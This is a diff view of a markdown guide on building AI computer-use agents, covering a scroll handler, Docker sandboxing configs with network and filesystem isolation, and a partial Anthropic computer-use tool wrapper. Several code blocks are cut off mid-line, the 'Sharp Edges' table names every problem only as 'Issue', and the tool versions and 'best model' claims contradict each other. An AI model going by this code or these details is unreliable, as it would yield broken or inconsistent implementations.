+
direction = action.get("direction", "down")
|
|
81
|
+
amount = action.get("amount", 3)
|
|
82
|
+
scroll = -amount if direction == "down" else amount
|
|
83
|
+
pyautogui.scroll(scroll)
|
|
84
|
+
return {"success": True, "action": f"scrolled {dir
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
### Sandboxed Environment Pattern
|
|
88
|
+
|
|
89
|
+
Computer use agents MUST run in isolated, sandboxed environments.
|
|
90
|
+
Never give agents direct access to your main system - the security
|
|
91
|
+
risks are too high. Use Docker containers with virtual desktops.
|
|
92
|
+
|
|
93
|
+
Key isolation requirements:
|
|
94
|
+
1. NETWORK: Restrict to necessary endpoints only
|
|
95
|
+
2. FILESYSTEM: Read-only or scoped to temp directories
|
|
96
|
+
3. CREDENTIALS: No access to host credentials
|
|
97
|
+
4. SYSCALLS: Filter dangerous system calls
|
|
98
|
+
5. RESOURCES: Limit CPU, memory, time
|
|
99
|
+
|
|
100
|
+
The goal is "blast radius minimization" - if the agent goes wrong,
|
|
101
|
+
damage is contained to the sandbox.
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
**When to use**: ['Deploying any computer use agent', 'Testing agent behavior safely', 'Running untrusted automation tasks']
|
|
105
|
+
|
|
106
|
+
```python
|
|
107
|
+
# Dockerfile for sandboxed computer use environment
|
|
108
|
+
# Based on Anthropic's reference implementation pattern
|
|
109
|
+
|
|
110
|
+
FROM ubuntu:22.04
|
|
111
|
+
|
|
112
|
+
# Install desktop environment
|
|
113
|
+
RUN apt-get update && apt-get install -y \
|
|
114
|
+
xvfb \
|
|
115
|
+
x11vnc \
|
|
116
|
+
fluxbox \
|
|
117
|
+
xterm \
|
|
118
|
+
firefox \
|
|
119
|
+
python3 \
|
|
120
|
+
python3-pip \
|
|
121
|
+
supervisor
|
|
122
|
+
|
|
123
|
+
# Security: Create non-root user
|
|
124
|
+
RUN useradd -m -s /bin/bash agent && \
|
|
125
|
+
mkdir -p /home/agent/.vnc
|
|
126
|
+
|
|
127
|
+
# Install Python dependencies
|
|
128
|
+
COPY requirements.txt /tmp/
|
|
129
|
+
RUN pip3 install -r /tmp/requirements.txt
|
|
130
|
+
|
|
131
|
+
# Security: Drop capabilities
|
|
132
|
+
RUN apt-get install -y --no-install-recommends libcap2-bin && \
|
|
133
|
+
setcap -r /usr/bin/python3 || true
|
|
134
|
+
|
|
135
|
+
# Copy agent code
|
|
136
|
+
COPY --chown=agent:agent . /app
|
|
137
|
+
WORKDIR /app
|
|
138
|
+
|
|
139
|
+
# Supervisor config for virtual display + VNC
|
|
140
|
+
COPY supervisord.conf /etc/supervisor/conf.d/
|
|
141
|
+
|
|
142
|
+
# Expose VNC port only (not desktop directly)
|
|
143
|
+
EXPOSE 5900
|
|
144
|
+
|
|
145
|
+
# Run as non-root
|
|
146
|
+
USER agent
|
|
147
|
+
|
|
148
|
+
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
# docker-compose.yml with security constraints
|
|
153
|
+
version: '3.8'
|
|
154
|
+
|
|
155
|
+
services:
|
|
156
|
+
computer-use-agent:
|
|
157
|
+
build: .
|
|
158
|
+
ports:
|
|
159
|
+
- "5900:5900" # VNC for observation
|
|
160
|
+
- "8080:8080" # API for control
|
|
161
|
+
|
|
162
|
+
# Security constraints
|
|
163
|
+
security_opt:
|
|
164
|
+
- no-new-privileges:true
|
|
165
|
+
- seccomp:seccomp-profile.json
|
|
166
|
+
|
|
167
|
+
# Resource limits
|
|
168
|
+
deploy:
|
|
169
|
+
resources:
|
|
170
|
+
limits:
|
|
171
|
+
cpus: '2'
|
|
172
|
+
memory: 4G
|
|
173
|
+
reservations:
|
|
174
|
+
cpus: '0.5'
|
|
175
|
+
memory: 1G
|
|
176
|
+
|
|
177
|
+
# Network isolation
|
|
178
|
+
networks:
|
|
179
|
+
- agent-network
|
|
180
|
+
|
|
181
|
+
# No access to host filesystem
|
|
182
|
+
volumes:
|
|
183
|
+
- agent-tmp:/tmp
|
|
184
|
+
|
|
185
|
+
# Read-only root filesystem
|
|
186
|
+
read_only: true
|
|
187
|
+
tmpfs:
|
|
188
|
+
- /run
|
|
189
|
+
- /var/run
|
|
190
|
+
|
|
191
|
+
# Environment
|
|
192
|
+
environment:
|
|
193
|
+
- DISPLAY=:99
|
|
194
|
+
- NO_PROXY=localhost
|
|
195
|
+
|
|
196
|
+
networks:
|
|
197
|
+
agent-network:
|
|
198
|
+
driver: bridge
|
|
199
|
+
internal: true # No internet by default
|
|
200
|
+
|
|
201
|
+
volumes:
|
|
202
|
+
agent-tmp:
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
# Python wrapper with additional runtime sandboxing
|
|
207
|
+
import subprocess
|
|
208
|
+
import os
|
|
209
|
+
from dataclasses im
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
### Anthropic Computer Use Implementation
|
|
213
|
+
|
|
214
|
+
Official implementation pattern using Claude's computer use capability.
|
|
215
|
+
Claude 3.5 Sonnet was the first frontier model to offer computer use.
|
|
216
|
+
Claude Opus 4.5 is now the "best model in the world for computer use."
|
|
217
|
+
|
|
218
|
+
Key capabilities:
|
|
219
|
+
- screenshot: Capture current screen state
|
|
220
|
+
- mouse: Click, move, drag operations
|
|
221
|
+
- keyboard: Type text, press keys
|
|
222
|
+
- bash: Run shell commands
|
|
223
|
+
- text_editor: View and edit files
|
|
224
|
+
|
|
225
|
+
Tool versions:
|
|
226
|
+
- computer_20251124 (Opus 4.5): Adds zoom action for detailed inspection
|
|
227
|
+
- computer_20250124 (All other models): Standard capabilities
|
|
228
|
+
|
|
229
|
+
Critical limitation: "Some UI elements (like dropdowns and scrollbars)
|
|
230
|
+
might be tricky for Claude to manipulate" - Anthropic docs
|
|
231
|
+
|
|
232
|
+
|
|
233
|
+
**When to use**: ['Building production computer use agents', 'Need highest quality vision understanding', 'Full desktop control (not just browser)']
|
|
234
|
+
|
|
235
|
+
```python
|
|
236
|
+
from anthropic import Anthropic
|
|
237
|
+
from anthropic.types.beta import (
|
|
238
|
+
BetaToolComputerUse20241022,
|
|
239
|
+
BetaToolBash20241022,
|
|
240
|
+
BetaToolTextEditor20241022,
|
|
241
|
+
)
|
|
242
|
+
import subprocess
|
|
243
|
+
import base64
|
|
244
|
+
from PIL import Image
|
|
245
|
+
import io
|
|
246
|
+
|
|
247
|
+
class AnthropicComputerUse:
|
|
248
|
+
"""
|
|
249
|
+
Official Anthropic Computer Use implementation.
|
|
250
|
+
|
|
251
|
+
Requires:
|
|
252
|
+
- Docker container with virtual display
|
|
253
|
+
- VNC for viewing agent actions
|
|
254
|
+
- Proper tool implementations
|
|
255
|
+
"""
|
|
256
|
+
|
|
257
|
+
def __init__(self):
|
|
258
|
+
self.client = Anthropic()
|
|
259
|
+
self.model = "claude-sonnet-4-20250514" # Best for computer use
|
|
260
|
+
self.screen_size = (1280, 800)
|
|
261
|
+
|
|
262
|
+
def get_tools(self) -> list:
|
|
263
|
+
"""Define computer use tools."""
|
|
264
|
+
return [
|
|
265
|
+
BetaToolComputerUse20241022(
|
|
266
|
+
type="computer_20241022",
|
|
267
|
+
name="computer",
|
|
268
|
+
display_width_px=self.screen_size[0],
|
|
269
|
+
display_height_px=self.screen_size[1],
|
|
270
|
+
),
|
|
271
|
+
BetaToolBash20241022(
|
|
272
|
+
type="bash_20241022",
|
|
273
|
+
name="bash",
|
|
274
|
+
),
|
|
275
|
+
BetaToolTextEditor20241022(
|
|
276
|
+
type="text_editor_20241022",
|
|
277
|
+
name="str_replace_editor",
|
|
278
|
+
),
|
|
279
|
+
]
|
|
280
|
+
|
|
281
|
+
def execute_tool(self, name: str, input: dict) -> dict:
|
|
282
|
+
"""Execute a tool and return result."""
|
|
283
|
+
|
|
284
|
+
if name == "computer":
|
|
285
|
+
return self._handle_computer_action(input)
|
|
286
|
+
elif name == "bash":
|
|
287
|
+
return self._handle_bash(input)
|
|
288
|
+
elif name == "str_replace_editor":
|
|
289
|
+
return self._handle_editor(input)
|
|
290
|
+
else:
|
|
291
|
+
return {"error": f"Unknown tool: {name}"}
|
|
292
|
+
|
|
293
|
+
def _handle_computer_action(self, input: dict) -> dict:
|
|
294
|
+
"""Handle computer control actions."""
|
|
295
|
+
action = input.get("action")
|
|
296
|
+
|
|
297
|
+
if action == "screenshot":
|
|
298
|
+
# Capture via xdotool/scrot
|
|
299
|
+
subprocess.run(["scrot", "/tmp/screenshot.png"])
|
|
300
|
+
|
|
301
|
+
with open("/tmp/screenshot.png", "rb") as f:
|
|
302
|
+
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
## ⚠️ Sharp Edges
|
|
306
|
+
|
|
307
|
+
| Issue | Severity | Solution |
|
|
308
|
+
|-------|----------|----------|
|
|
309
|
+
| Issue | critical | ## Defense in depth - no single solution works |
|
|
310
|
+
| Issue | medium | ## Add human-like variance to actions |
|
|
311
|
+
| Issue | high | ## Use keyboard alternatives when possible |
|
|
312
|
+
| Issue | medium | ## Accept the tradeoff |
|
|
313
|
+
| Issue | high | ## Implement context management |
|
|
314
|
+
| Issue | high | ## Monitor and limit costs |
|
|
315
|
+
| Issue | critical | ## ALWAYS use sandboxing |
|